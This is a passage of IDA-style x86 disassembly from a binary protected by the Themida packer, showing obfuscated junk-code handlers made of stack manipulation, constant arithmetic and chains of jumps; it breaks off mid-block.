loc_5A8D22: ; CODE XREF: Themida_:00598C51j
mov ebx, esp
push ecx
mov ecx, 0CB70481h
shr ecx, 5
xor ecx, 0B1140CFh
jmp loc_5A962F
; ---------------------------------------------------------------------------
loc_5A8D38: ; CODE XREF: Themida_:0059AC1Fj
or ah, 4Ch
dec ah
jmp loc_5A24AA
; ---------------------------------------------------------------------------
loc_5A8D42: ; CODE XREF: Themida_:005A7E43j
add eax, 63CE10EBh
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub ecx, 195C1C62h
add ecx, eax
add ecx, 195C1C62h
jmp loc_59CB8A
; ---------------------------------------------------------------------------
loc_5A8D70: ; CODE XREF: Themida_:005A90B0j
sub eax, 6E231FFDh
jmp loc_5A9E91
; ---------------------------------------------------------------------------
loc_5A8D7A: ; CODE XREF: Themida_:005ABDB4j
mov edi, 70FF4897h
dec edi
dec edi
xchg esi, edi
not esi
jmp loc_59F53A
; ---------------------------------------------------------------------------
loc_5A8D8A: ; CODE XREF: Themida_:0059FF51j
add edx, 4
jmp loc_5AB6E0
; ---------------------------------------------------------------------------
loc_5A8D92: ; CODE XREF: Themida_:00599F6Fj
add ecx, 4064F20h
sub ebx, ecx
pop ecx
add ebx, 4636CEAh
add ebx, 34C71364h
jmp loc_5A59C1
; ---------------------------------------------------------------------------
loc_5A8DAC: ; CODE XREF: Themida_:005A86D8j
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
sub dword ptr [esp], 6D3370Ah
jmp loc_5ACD9C
; ---------------------------------------------------------------------------
loc_5A8DC3: ; CODE XREF: Themida_:005A8686j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add ecx, esi
push dword ptr [esp]
pop esi
jmp loc_5A84FB
; ---------------------------------------------------------------------------
loc_5A8DDE: ; CODE XREF: Themida_:005A962Aj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A4128
; ---------------------------------------------------------------------------
loc_5A8DF2: ; CODE XREF: Themida_:0059F76Ej
or ebp, 27769D9h
inc ebp
push edi
jmp loc_5A9393
; ---------------------------------------------------------------------------
loc_5A8DFF: ; CODE XREF: Themida_:005A00F4j
add eax, ecx
sub eax, 2DDE3A56h
jmp loc_5A3E6E
; ---------------------------------------------------------------------------
loc_5A8E0B: ; CODE XREF: Themida_:005A7EB1j
; Themida_:005ABF75j
add esi, 4
xchg esi, [esp]
mov esp, [esp]
add bl, ch
pop cx
add bl, al
jmp loc_59A5D1
; ---------------------------------------------------------------------------
loc_5A8E1F: ; CODE XREF: Themida_:005A94B8j
pop ebx
jmp loc_5AB72B
; ---------------------------------------------------------------------------
loc_5A8E25: ; CODE XREF: Themida_:005A6F57j
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_598CED
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A8E40: ; CODE XREF: Themida_:005AB67Cj
sub eax, edx
add eax, 70967471h
add eax, 57C97726h
push dword ptr [esp]
jmp loc_5A6E03
; ---------------------------------------------------------------------------
loc_5A8E54: ; CODE XREF: Themida_:005A4893j
add eax, 4
xchg eax, [esp]
pop esp
push ecx
push eax
mov eax, 4
jmp loc_5A2F64
; ---------------------------------------------------------------------------
loc_5A8E67: ; CODE XREF: Themida_:0059CAB9j
mov edx, 4
mov eax, edx
pop edx
add ecx, eax
pop eax
add ecx, 4
xchg ecx, [esp]
pop esp
push 3A32h
mov [esp], ebp
mov ebp, 25A66774h
add edi, 555368A9h
sub edi, ebp
sub edi, 555368A9h
pop ebp
add edi, 606070B4h
add edi, ebp
sub edi, 606070B4h
add edi, 25A66774h
jmp loc_5A30AD
; ---------------------------------------------------------------------------
loc_5A8EAE: ; CODE XREF: Themida_:0059A150j
push esp
jmp loc_5A0627
; ---------------------------------------------------------------------------
loc_5A8EB4: ; CODE XREF: Themida_:005AC8C7j
push edi
mov edi, 7DFF6A63h
sub eax, edi
pop edi
mov edi, eax
jmp loc_5A1313
; ---------------------------------------------------------------------------
loc_5A8EC4: ; CODE XREF: Themida_:005A221Cj
push ecx
mov ecx, esp
jmp loc_59D27F
; ---------------------------------------------------------------------------
loc_5A8ECC: ; CODE XREF: Themida_:005AAD1Dj
shr ebx, 6
add ebx, 0FFFFFFFFh
inc ebx
or ebx, 40473746h
xor ebx, 45D6426Dh
sub ebp, ebx
pop ebx
push edi
mov edi, 55F37F8Bh
push ebp
mov ebp, 1160612h
or edi, ebp
pop ebp
shl edi, 4
push eax
mov eax, 51D3A76h
sub edi, eax
jmp loc_59CFF8
; ---------------------------------------------------------------------------
loc_5A8F01: ; CODE XREF: Themida_:005A2F9Dj
sub ecx, 3D244A92h
pop ebx
xchg ecx, [esp]
mov esp, [esp]
mov [esp], eax
push dword ptr [esp]
pop ebx
sub esp, 4
jmp loc_5A3EFE
; ---------------------------------------------------------------------------
loc_5A8F20: ; CODE XREF: Themida_:005987EFj
shr eax, 4
add eax, 5BF11713h
mov ebp, eax
pop eax
jmp loc_5A4911
; ---------------------------------------------------------------------------
loc_5A8F30: ; CODE XREF: Themida_:0059CA98j
xor ch, bh
pop ebx
jmp loc_5A7C52
; ---------------------------------------------------------------------------
loc_5A8F38: ; CODE XREF: Themida_:005ABF94j
pop ecx
jmp loc_59A1E2
; ---------------------------------------------------------------------------
loc_5A8F3E: ; CODE XREF: Themida_:005A2E27j
push small 587Ah
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A8F52: ; CODE XREF: Themida_:005A1A92j
mov [esp], ecx
jmp loc_5A29DB
; ---------------------------------------------------------------------------
loc_5A8F5A: ; CODE XREF: Themida_:0059EFD6j
add ebp, esi
sub ebp, 62806056h
mov esi, [esp]
push ebp
jmp loc_5A82DE
; ---------------------------------------------------------------------------
loc_5A8F6B: ; CODE XREF: Themida_:0059CB79j
sub dh, 40h
dec dh
push ecx
jmp loc_5A2C47
; ---------------------------------------------------------------------------
loc_5A8F76: ; CODE XREF: Themida_:005A3E0Cj
add eax, ebx
pop ebx
add eax, 276F147Eh
sub eax, 0EF47C142h
and ebx, eax
jmp loc_5A9A4A
; ---------------------------------------------------------------------------
loc_5A8F8A: ; CODE XREF: Themida_:0059B24Dj
; Themida_:005A6729j
mov ebx, esp
push esi
mov esi, 4
add ebx, 1A3F044Bh
jmp loc_5ABD91
; ---------------------------------------------------------------------------
loc_5A8F9D: ; CODE XREF: Themida_:005A39C8j
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
xor eax, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push ecx
jmp loc_59D4DB
; ---------------------------------------------------------------------------
loc_5A8FCB: ; CODE XREF: Themida_:005A420Ej
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push 951h
jmp loc_59922A
; ---------------------------------------------------------------------------
loc_5A8FDE: ; CODE XREF: Themida_:005A52C0j
or ah, 46h
ja loc_59FBB2
jmp loc_5A7E80
; ---------------------------------------------------------------------------
push esp
pop edi
add edi, 4
sub al, 0FFh
loc_5A8FF6: ; CODE XREF: Themida_:loc_5AF07Bj
shr bh, 4
xor bh, 9Ah
jnz loc_5A34F4
jmp loc_59F589
; ---------------------------------------------------------------------------
jmp loc_5A2439
; ---------------------------------------------------------------------------
pop esp
loc_5A900D: ; CODE XREF: Themida_:0059E2BBj
pop ebx
add esi, 4
jmp loc_5AE19A
; ---------------------------------------------------------------------------
loc_5A9016: ; CODE XREF: Themida_:0059D7EDj
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
jmp loc_59E5D0
; ---------------------------------------------------------------------------
loc_5A9028: ; CODE XREF: Themida_:005997D2j
mov ebp, 673D0009h
dec ebp
push esi
mov esi, 69E3508Eh
xor ebp, esi
pop esi
and ebp, 64951675h
xor ebp, 174E349Ch
push eax
mov eax, ebp
mov edx, eax
jmp loc_5A0D79
; ---------------------------------------------------------------------------
loc_5A904D: ; CODE XREF: Themida_:005ABE94j
add ebp, 133FCD81h
push ebx
push eax
mov eax, 3A5A4A9Fh
jmp loc_599E92
; ---------------------------------------------------------------------------
loc_5A905F: ; CODE XREF: Themida_:0059F83Ej
pop eax
jmp loc_5AF013
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A9075: ; CODE XREF: Themida_:005A3A44j
add esi, 4
xchg esi, [esp]
jmp loc_59A555
; ---------------------------------------------------------------------------
loc_5A9080: ; CODE XREF: Themida_:005A22D7j
xchg eax, [esp]
pop esp
jmp loc_5AD4DB
; ---------------------------------------------------------------------------
loc_5A9089: ; CODE XREF: Themida_:005AC006j
jmp loc_5AB55D
; ---------------------------------------------------------------------------
loc_5A908E: ; CODE XREF: Themida_:005A0AE4j
; Themida_:005A352Cj
pop edx
jmp loc_5A78DB
; ---------------------------------------------------------------------------
loc_5A9094: ; CODE XREF: Themida_:0059E323j
; Themida_:005A9CB1j
mov ebx, 4
add eax, ebx
pop ebx
add eax, 4
push 77A7h
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
jmp loc_5A8D70
; ---------------------------------------------------------------------------
loc_5A90B5: ; CODE XREF: Themida_:005A3FB6j
shr ebp, 4
xor ebp, 5D270EBEh
add eax, ebp
pop ebp
jmp loc_5AF431
; ---------------------------------------------------------------------------
loc_5A90C6: ; CODE XREF: Themida_:0059E992j
mov ebx, esp
add ebx, 4
sub ebx, 4
xor ebx, [esp]
jmp loc_5AED3E
; ---------------------------------------------------------------------------
loc_5A90DC: ; CODE XREF: Themida_:005A767Dj
mov edx, [esp]
add esp, 4
add al, 0A7h
add al, dl
sub al, 0A7h
push ecx
jmp loc_599AEA
; ---------------------------------------------------------------------------
loc_5A90F1: ; CODE XREF: Themida_:005A4BFFj
push eax
push edx
mov edx, 4
push 1F56h
mov [esp], edx
sub esp, 4
mov [esp], ebp
push ebx
mov ebx, 7ED41C1Fh
jmp loc_5A0CF7
; ---------------------------------------------------------------------------
loc_5A9111: ; CODE XREF: Themida_:005A685Bj
push dword ptr [esp]
pop ecx
add esp, 4
sub al, 9Bh
sub al, dl
add al, 9Bh
push dword ptr [esp]
pop edx
add esp, 4
pop ecx
push eax
jmp loc_5AA0AC
; ---------------------------------------------------------------------------
loc_5A912F: ; CODE XREF: Themida_:005A0005j
; Themida_:005A52DAj
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5AD705
; ---------------------------------------------------------------------------
loc_5A913A: ; CODE XREF: Themida_:0059AEA9j
mov esi, 4
jmp loc_5A2D8D
; ---------------------------------------------------------------------------
loc_5A9144: ; CODE XREF: Themida_:005A551Cj
pop edx
push ebx
mov ebx, esp
jmp loc_5AAABF
; ---------------------------------------------------------------------------
loc_5A914D: ; CODE XREF: Themida_:0059F644j
; Themida_:005A6496j
jns loc_5A39AF
sub esi, 48E06892h
jmp loc_5ABAA8
; ---------------------------------------------------------------------------
loc_5A915E: ; CODE XREF: Themida_:0059A68Ej
; Themida_:0059C71Aj
xor esi, ebp
pop ebp
jmp loc_598534
; ---------------------------------------------------------------------------
loc_5A9166: ; CODE XREF: Themida_:005A56C1j
mov [esp], ebp
mov ebp, 3AED3C09h
not ebp
sub ebp, 0FFFFFFFFh
jmp loc_5ABF12
; ---------------------------------------------------------------------------
loc_5A9178: ; CODE XREF: Themida_:0059AC80j
; Themida_:005A538Ej
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
sub esp, 4
mov [esp], ecx
jmp loc_5A5A32
; ---------------------------------------------------------------------------
loc_5A9190: ; CODE XREF: Themida_:00598888j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_5A166C
; ---------------------------------------------------------------------------
loc_5A91A1: ; CODE XREF: Themida_:005ADBA6j
push edi
jmp loc_59AA09
; ---------------------------------------------------------------------------
loc_5A91A7: ; CODE XREF: Themida_:005A03C6j
mov ebx, 1E22372Dh
or eax, ebx
jmp loc_5A3AFB
; ---------------------------------------------------------------------------
loc_5A91B3: ; CODE XREF: Themida_:0059B54Aj
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
jmp loc_59C7A1
; ---------------------------------------------------------------------------
loc_5A91C3: ; CODE XREF: Themida_:0059C3CEj
push ecx
push 7B95329Eh
jmp loc_5AC710
; ---------------------------------------------------------------------------
loc_5A91CE: ; CODE XREF: Themida_:0059B286j
dec esi
jmp loc_59923A
; ---------------------------------------------------------------------------
loc_5A91D4: ; CODE XREF: Themida_:005A6CB9j
push esp
mov edi, [esp]
add esp, 4
jmp loc_5AEC47
; ---------------------------------------------------------------------------
loc_5A91E3: ; CODE XREF: Themida_:005A9ADEj
pop ecx
add al, bl
push ecx
mov cl, 0DAh
add cl, 1
dec cl
push edx
mov dh, 0ACh
inc dh
push 0
sub [esp], dh
mov dh, [esp]
jmp loc_5A6381
; ---------------------------------------------------------------------------
loc_5A9203: ; CODE XREF: Themida_:005AF2DFj
add eax, ebp
pop ebp
sub esp, 4
jmp loc_598822
; ---------------------------------------------------------------------------
loc_5A920E: ; CODE XREF: Themida_:0059DBF8j
mov edx, [esp]
jmp loc_5AA50A
; ---------------------------------------------------------------------------
loc_5A9216: ; CODE XREF: Themida_:loc_5AE959j
shr cl, 1
jp loc_5AE1E0
jmp loc_598DEB
; ---------------------------------------------------------------------------
loc_5A9223: ; CODE XREF: Themida_:005AB3FBj
add esi, eax
add esi, 107A3CCAh
push eax
mov eax, 1CF23BE8h
sub esi, eax
pop eax
sub esp, 4
mov [esp], edi
mov edi, 6F4F4F2Ah
sub esi, edi
pop edi
jmp loc_5ABCA3
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A640D
; ---------------------------------------------------------------------------
loc_5A9253: ; CODE XREF: Themida_:005AE223j
push 1768h
mov [esp], ecx
jmp loc_59A035
; ---------------------------------------------------------------------------
loc_5A9260: ; CODE XREF: Themida_:0059EB10j
pop esi
dec edx
shl edx, 5
xor edx, 4A92FD0h
mov ecx, edx
pop edx
mov esi, ecx
pop ecx
jmp loc_5A3268
; ---------------------------------------------------------------------------
loc_5A9276: ; CODE XREF: Themida_:0059ADA2j
push eax
mov ah, bh
mov cl, ah
pop eax
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
jmp loc_59F843
; ---------------------------------------------------------------------------
loc_5A9290: ; CODE XREF: Themida_:0059AB5Aj
add esp, 2
push 1418h
jmp loc_5A28CA
; ---------------------------------------------------------------------------
loc_5A929D: ; CODE XREF: Themida_:loc_5992ABj
push ebx
jmp loc_5A2900
; ---------------------------------------------------------------------------
lodsd
push edx
mov edx, 2B464BCBh
xor edx, 37F451A2h
shr edx, 7
xor edx, 2E1A14ECh
neg edx
jmp loc_59AB5F
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
jmp loc_5993BE
; ---------------------------------------------------------------------------
loc_5A92CC: ; CODE XREF: Themida_:005988DEj
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
push 2E84692Ch
pop eax
and eax, 2BB25426h
jnp loc_5AD007
push edx
mov edx, 7C362328h
xor eax, edx
mov edx, [esp]
add esp, 4
jmp loc_59F06D
; ---------------------------------------------------------------------------
loc_5A9305: ; CODE XREF: Themida_:0059ED63j
add esi, eax
push edi
jmp loc_5AACC0
; ---------------------------------------------------------------------------
loc_5A930D: ; CODE XREF: Themida_:005AA0A7j
pop esp
movzx ax, byte ptr [eax]
sub esp, 4
mov [esp], ebx
sub esp, 4
push esp
pop dword ptr [esp]
push esi
jmp loc_59B414
; ---------------------------------------------------------------------------
loc_5A9325: ; CODE XREF: Themida_:0059FE47j
add esp, 4
xor edi, ebp
pop ebp
xor eax, edi
mov edi, [esp]
jmp loc_59867A
; ---------------------------------------------------------------------------
loc_5A9338: ; CODE XREF: Themida_:005A982Bj
mov ebx, 1D17710Eh
xor ebx, 1D17710Ch
add ecx, 61022087h
jmp loc_5AA9A5
; ---------------------------------------------------------------------------
loc_5A934E: ; CODE XREF: Themida_:005AB0A4j
mov ebx, ecx
jmp loc_59F1CB
; ---------------------------------------------------------------------------
loc_5A9355: ; CODE XREF: Themida_:0059B813j
add esi, 0DF8AB5EDh
jmp loc_5AE70F
; ---------------------------------------------------------------------------
loc_5A9360: ; CODE XREF: Themida_:005ABEAEj
sub esi, edi
pop edi
jmp loc_5AD359
; ---------------------------------------------------------------------------
loc_5A9368: ; CODE XREF: Themida_:0059EF4Aj
add eax, 4
xchg eax, [esp]
pop esp
push ebx
mov bl, 34h
push ecx
jmp loc_5ABAA8
; ---------------------------------------------------------------------------
loc_5A937A: ; CODE XREF: Themida_:005ABBA7j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A937F: ; CODE XREF: Themida_:0059ED20j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_5A15C1
; ---------------------------------------------------------------------------
loc_5A938C: ; CODE XREF: Themida_:0059A132j
inc ch
jmp loc_59CDC4
; ---------------------------------------------------------------------------
loc_5A9393: ; CODE XREF: Themida_:005A8DFAj
mov edi, 212130E1h
jmp loc_5AA203
; ---------------------------------------------------------------------------
loc_5A939D: ; CODE XREF: Themida_:00599A73j
and ebx, 6CD561D4h
xor ebx, 4F4729C6h
push ebp
push ebx
mov ebx, 0DF47FAD8h
mov ebp, ebx
mov ebx, [esp]
add esp, 4
xor ebx, ebp
pop ebp
add eax, ebx
jmp loc_5A7A44
; ---------------------------------------------------------------------------
loc_5A93C2: ; CODE XREF: Themida_:0059F7AEj
mov edi, 2794C08h
add [esp+4], edi
pop edi
pop esi
sub esi, 2794C08h
pop eax
sub edx, esi
jmp loc_59B4F0
; ---------------------------------------------------------------------------
loc_5A93DB: ; CODE XREF: Themida_:0059AE17j
push edx
sub esp, 4
mov [esp], eax
mov ah, 97h
mov dh, 25h
xor dh, ah
pop eax
shl dh, 3
add dh, 92h
jmp loc_5A3B1A
; ---------------------------------------------------------------------------
loc_5A93F7: ; CODE XREF: Themida_:loc_5AC5D2j
xor al, 25h
jmp loc_5A74E0
; ---------------------------------------------------------------------------
loc_5A93FE: ; CODE XREF: Themida_:005A37F3j
sub bl, 0Ch
sub dh, bl
jmp loc_5A0B95
; ---------------------------------------------------------------------------
loc_5A9408: ; CODE XREF: Themida_:005A4C08j
push 426Eh
mov [esp], ebp
push 4E6h
push esp
pop dword ptr [esp]
push ecx
jmp loc_5AEEDF
; ---------------------------------------------------------------------------
loc_5A941F: ; CODE XREF: Themida_:0059E8A2j
push dword ptr [esp]
jmp loc_59BBE5
; ---------------------------------------------------------------------------
loc_5A9427: ; CODE XREF: Themida_:loc_59DFEBj
jmp loc_5A020D
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A7C68
; ---------------------------------------------------------------------------
loc_5A9435: ; CODE XREF: Themida_:005ABB32j
pop esi
jmp loc_5AD3B4
; ---------------------------------------------------------------------------
loc_5A943B: ; CODE XREF: Themida_:005A7959j
push esp
pop esi
push eax
jmp loc_5ACA14
; ---------------------------------------------------------------------------
loc_5A9443: ; CODE XREF: Themida_:005A2214j
mov edx, 31BF749Bh
add edx, 0BCB58B8h
jmp loc_59E799
; ---------------------------------------------------------------------------
loc_5A9453: ; CODE XREF: Themida_:005A2B55j
; Themida_:005AC720j
neg ecx
xor ecx, 4AC4F544h
mov edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5AC904
; ---------------------------------------------------------------------------
loc_5A946B: ; CODE XREF: Themida_:0059B5C8j
mov edx, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_5A0433
; ---------------------------------------------------------------------------
loc_5A9479: ; CODE XREF: Themida_:005A6CA8j
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
add ebp, ecx
jmp loc_59B25D
; ---------------------------------------------------------------------------
loc_5A948C: ; CODE XREF: Themida_:0059964Aj
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
push 2414h
mov [esp], eax
jmp loc_59A744
; ---------------------------------------------------------------------------
loc_5A94AE: ; CODE XREF: Themida_:0059DB7Ej
mov bh, 40h
sub ch, 0D8h
add ch, bh
add ch, 0D8h
jmp loc_5A8E1F
; ---------------------------------------------------------------------------
loc_5A94BD: ; CODE XREF: Themida_:0059B2FDj
push eax
mov eax, esp
push 78C2h
mov [esp], ebp
push ebx
push 12DF1128h
pop ebx
sub ebx, 6DAA7884h
jo loc_59A6A7
sub ebx, 0FFFFFFFFh
and ebx, 78003E9h
push esi
mov esi, 6860945h
add esi, 1A5B5A08h
jmp loc_5A5802
; ---------------------------------------------------------------------------
loc_5A94F5: ; CODE XREF: Themida_:005A3C81j
mov [esp], edx
mov edx, esp
add edx, 4
push 7002h
mov [esp], edi
jmp loc_5AD98A
; ---------------------------------------------------------------------------
loc_5A950D: ; CODE XREF: Themida_:005AF04Cj
or dl, al
pop eax
not dl
sub dl, 0E7h
jmp loc_5A682F
; ---------------------------------------------------------------------------
loc_5A951A: ; CODE XREF: Themida_:loc_5988A9j
; Themida_:005A9AF3j
sub ecx, 6B34794Ah
jl loc_59BA2D
jmp loc_5A9B5C
; ---------------------------------------------------------------------------
add esi, 32D12A09h
loc_5A9531: ; CODE XREF: Themida_:005AD396j
xor ebx, 983FE4C1h
jmp loc_59F642
; ---------------------------------------------------------------------------
loc_5A953C: ; CODE XREF: Themida_:005A1D9Dj
; Themida_:005A3E72j
push eax
push dword ptr [esp+4]
pop eax
jmp loc_5AC694
; ---------------------------------------------------------------------------
loc_5A9547: ; CODE XREF: Themida_:005A511Bj
add ebp, esi
mov esi, [esp]
add esp, 4
or [edi+1Ch], ebp
jmp loc_5A1D80
; ---------------------------------------------------------------------------
loc_5A9557: ; CODE XREF: Themida_:005AE392j
sub bl, dl
pop edx
add bl, cl
add bl, 56h
pop cx
movzx eax, al
push small 685Dh
jmp loc_59C7A9
; ---------------------------------------------------------------------------
loc_5A956D: ; CODE XREF: Themida_:005987E1j
mov esi, 0F6FCBC30h
jmp loc_5A557A
; ---------------------------------------------------------------------------
loc_5A9577: ; CODE XREF: Themida_:00599A4Dj
and ecx, 328C1ADDh
push 4E85h
mov [esp], ebx
mov ebx, 567241EFh
not ebx
push edi
mov edi, 0
sub edi, ebx
xchg edi, ebx
pop edi
xor ebx, 8C5384Ch
dec ebx
push eax
mov eax, 779A3EE5h
dec eax
and eax, 2832730h
sub eax, 0EF082496h
xor ebx, eax
pop eax
add ebx, 0CDD4FE3Bh
jmp loc_5A7F68
; ---------------------------------------------------------------------------
loc_5A95BD: ; CODE XREF: Themida_:00598C14j
; Themida_:0059A215j
xor ecx, [esp]
pop esp
mov [esp], ebp
push 195Bh
mov [esp], esi
mov esi, 770B6A76h
and esi, 5C6E6834h
jnb loc_5A2361
shr esi, 2
jnz loc_5A241A
jmp loc_5A22F3
; ---------------------------------------------------------------------------
loc_5A95EB: ; CODE XREF: Themida_:005A06EBj
push ecx
mov ecx, 4
sub edx, ecx
jmp loc_5A00F9
; ---------------------------------------------------------------------------
loc_5A95F8: ; CODE XREF: Themida_:005A70F0j
add ecx, 4
add ecx, 4
jmp loc_59EC5E
; ---------------------------------------------------------------------------
loc_5A9606: ; CODE XREF: Themida_:005AEB38j
pop edx
pop ebx
jmp loc_5A35C7
; ---------------------------------------------------------------------------
loc_5A960D: ; CODE XREF: Themida_:005A978Ej
xchg eax, [esp]
mov esp, [esp]
push 7B1Ch
mov [esp], ecx
push 4
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebx
jmp loc_5A8DDE
; ---------------------------------------------------------------------------
loc_5A962F: ; CODE XREF: Themida_:005A8D33j
neg ecx
jmp loc_59B666
; ---------------------------------------------------------------------------
loc_5A9636: ; CODE XREF: Themida_:005AD5AEj
push ecx
jmp loc_5A23AE
; ---------------------------------------------------------------------------
loc_5A963C: ; CODE XREF: Themida_:0059B0BEj
neg eax
push ecx
push 660947C7h
pop ecx
xor ecx, 1DA5165Ah
sub eax, ecx
jmp loc_5AA9EF
; ---------------------------------------------------------------------------
loc_5A9652: ; CODE XREF: Themida_:005A51DDj
push eax
push dword ptr [esp+4]
jmp loc_59F9DA
; ---------------------------------------------------------------------------
loc_5A965C: ; CODE XREF: Themida_:005AD35Cj
pop esp
mov [esp], ecx
jmp loc_5AEE7B
; ---------------------------------------------------------------------------
loc_5A9665: ; CODE XREF: Themida_:0059F535j
sub edx, 4
jmp loc_59BC81
; ---------------------------------------------------------------------------
loc_5A966D: ; CODE XREF: Themida_:loc_5A7D10j
or eax, 7CC95B89h
or eax, 280E65E8h
jno loc_59D2C8
jmp loc_5A2B2D
; ---------------------------------------------------------------------------
and dl, 0A8h
sub dl, 0D6h
shr dl, 7
push eax
loc_5A968C: ; CODE XREF: Themida_:005A60A1j
not ebp
or ebp, 62802628h
shr ebp, 3
and ebp, 647D64C3h
xor ebp, 76F534Ch
xor ebp, 33E378Bh
add ebx, ebp
pop ebp
push eax
mov eax, esp
jmp loc_5A2EFC
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
push esp
pop edx
push 3CDh
mov [esp], esi
mov esi, 4
add edx, esi
jmp loc_59E2E5
; ---------------------------------------------------------------------------
loc_5A96CF: ; CODE XREF: Themida_:005A766Dj
push ebp
jmp loc_5A4F66
; ---------------------------------------------------------------------------
loc_5A96D5: ; CODE XREF: Themida_:005A8332j
jmp loc_5A6952
; ---------------------------------------------------------------------------
loc_5A96DA: ; CODE XREF: Themida_:00599962j
sub ecx, 39502BACh
add ecx, 5CF5573Dh
sub ecx, edi
sub ecx, 5CF5573Dh
push eax
mov eax, 39502BACh
add ecx, eax
pop eax
jmp loc_59859C
; ---------------------------------------------------------------------------
loc_5A96FC: ; CODE XREF: Themida_:loc_5A7CEEj
jmp loc_59F431
; ---------------------------------------------------------------------------
loc_5A9701: ; CODE XREF: Themida_:005A5248j
; Themida_:005A64FCj
add esp, 4
jmp loc_5A9E16
; ---------------------------------------------------------------------------
mov ecx, [esp]
push esi
mov esi, esp
push ecx
push eax
push edi
mov edi, 74635EA0h
push ecx
mov ecx, 0EA42AB36h
add edi, ecx
pop ecx
mov eax, edi
mov edi, [esp]
add esp, 4
dec eax
jnp loc_5AEE59
add eax, 475D42F3h
jnp loc_5ADB64
loc_5A973A: ; CODE XREF: Themida_:0059906Fj
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_5AF1CD
; ---------------------------------------------------------------------------
loc_5A974E: ; CODE XREF: Themida_:005A6AA1j
add esp, 4
push 8C8h
mov [esp], eax
mov eax, esp
jmp loc_5A3E88
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
push edi
mov edi, esp
jmp loc_598523
; ---------------------------------------------------------------------------
loc_5A9774: ; CODE XREF: Themida_:0059E4C8j
pop esp
jmp loc_5AA44D
; ---------------------------------------------------------------------------
loc_5A977A: ; CODE XREF: Themida_:005A6AA7j
add eax, 4
push edi
mov edi, 4B753C95h
sub edi, 4B753C91h
add eax, edi
pop edi
jmp loc_5A960D
; ---------------------------------------------------------------------------
loc_5A9793: ; CODE XREF: Themida_:005A0D81j
push eax
mov eax, 228A2F9Bh
not eax
jmp loc_5AEEEA
; ---------------------------------------------------------------------------
loc_5A97A0: ; CODE XREF: Themida_:0059B389j
jmp loc_5ABF6F
; ---------------------------------------------------------------------------
loc_5A97A5: ; CODE XREF: Themida_:005A4415j
mov ebp, [esp]
push ecx
mov ecx, esp
jmp loc_5AD760
; ---------------------------------------------------------------------------
loc_5A97B0: ; CODE XREF: Themida_:005ACAEEj
xor eax, ecx
xor eax, ecx
xor ecx, eax
xor eax, ecx
xor ecx, edi
xor edi, ecx
xor ecx, edi
xor edi, edx
xor edx, edi
xor edi, edx
xchg esi, edx
not esi
xchg esi, edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
push 5677h
mov [esp], edx
pop edi
mov edx, [esp]
add esp, 4
push ecx
jmp loc_5A7AA3
; ---------------------------------------------------------------------------
loc_5A97F8: ; CODE XREF: Themida_:005AC3DFj
neg edi
jns loc_59CED9
jmp loc_5A1FCD
; ---------------------------------------------------------------------------
loc_5A9805: ; CODE XREF: Themida_:00598607j
; Themida_:0059AC41j ...
pop ebx
xor ebx, 64116AE8h
mov ecx, ebx
pop ebx
add ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
push esi
jmp loc_59E67E
; ---------------------------------------------------------------------------
loc_5A981C: ; CODE XREF: Themida_:005AD168j
mov [esp], ecx
mov ecx, esp
push esi
mov esi, 4
add ecx, esi
pop esi
push ebx
jmp loc_5A9338
; ---------------------------------------------------------------------------
mov cx, [esp]
push 1EC4h
jmp loc_5A5A67
; ---------------------------------------------------------------------------
loc_5A983E: ; CODE XREF: Themida_:005AB28Dj
mov edi, [esp]
add esp, 4
and ecx, ebp
jmp loc_5AD0B1
; ---------------------------------------------------------------------------
loc_5A984E: ; CODE XREF: Themida_:005A4A1Dj
mov ch, 40h
xor ch, ah
jmp loc_5A9F83
; ---------------------------------------------------------------------------
loc_5A9857: ; CODE XREF: Themida_:00599B1Ej
push 0F7Ah
mov [esp], eax
sub esp, 4
push 1C91h
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
push 5AEEh
